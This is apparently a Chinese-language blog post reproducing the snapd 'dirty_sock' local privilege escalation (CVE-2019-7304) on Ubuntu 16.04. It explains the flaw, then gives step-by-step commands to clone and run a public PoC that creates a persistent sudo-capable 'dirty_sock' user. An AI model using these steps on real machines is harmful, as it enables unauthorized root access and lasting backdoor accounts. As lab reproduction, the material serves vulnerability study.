CVE-2019-7304 Ubuntu本地提权漏洞复现


Snapd提供附加到本地UNIX_AF套接字的REST API。通过查询与该套接字的任何连接相关联的UID来完成对受限API函数的访问控制。在for循环中进行字符串解析期间,可能会影响用户控制的套接字对等数据以覆盖UID变量。这允许任何用户访问任何API函数。

影响版本

  • Ubuntu 18.10
  • Ubuntu 18.04 LTS
  • Ubuntu 16.04 LTS
  • Ubuntu 14.04 LTS

snap version < 2.37.1

实验环境

Ubuntu 16.04.07 LTS

实验过程

1. 确定snap版本

snap version
# snap版本应该小于2.37.1

Ubuntu自带的snap一般都不存在该漏洞,我在这里卡了很久,最后发现在POC的README.md文档中给出了可用的下载链接。

2. 下载POC

git clone https://github.com/initstring/dirty_sock.git

3. 生成密钥

登录Ubuntu,创建账号,然后本地生成一个密钥。

ssh-keygen -t rsa -C "Ubuntu注册邮箱"

进入.ssh目录下,使用cat命令显示id_rsa.pub(公钥)内容,然后把这些内容拷到账户的ssh_key中。

4. 漏洞利用

首先开启ssh:sudo /etc/init.d/ssh start。如果提示找不到命令,则是ssh还没有安装,输入sudo apt install openssh-server -y以进行安装。安装完成后,再次启动。

进入poc文件夹,使用python3利用dirty_sockv1.py进行攻击,中间需要输入密码进行登录。

sudo python3 dirty_sockv1.py -u "Ubuntu注册邮箱" -k "/home/zxy/.ssh/id_rsa.pub"

运行完后,查看/home路径下,多了一个和刚才创建ubuntu账户用户名相同的文件夹。但是我没找到该用户的密码是什么。

然后继续使用dirty_sockv2.py进行攻击:sudo python3 dirty_sockv2.py

攻击成功,创建了一个用户名和密码均为dirty_sock的用户,我们可以验证该用户具有sudo权限。

利用完该脚本后,snap会自动升级,但是拥有sudo权限的dirty_sock用户却会一直存在并可用。


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
 上一篇
CVE-2020-5902 F5-BIGIP漏洞复现 CVE-2020-5902 F5-BIGIP漏洞复现
2020年7月1日,F5官方公布流量管理用户界面(TMUI)存在 前台远程执行代码(RCE)漏洞(CVE-2020-5902)。攻击者利用该漏洞,构造恶意请求,在未授权的情况下获得目标服务器的权限,实现远程代码执行。
2020-10-30
下一篇 
CVE-2020-11107漏洞复现 CVE-2020-11107漏洞复现
当攻击者将编辑器的值设置为恶意的.exe文件或.bat文件,与此同时如果有管理员账号通过XAMPP控制面板查看apache的日志文件,便会执行恶意的.exe文件或.bat文件,以此达到任意命令执行。
2020-10-13
  目录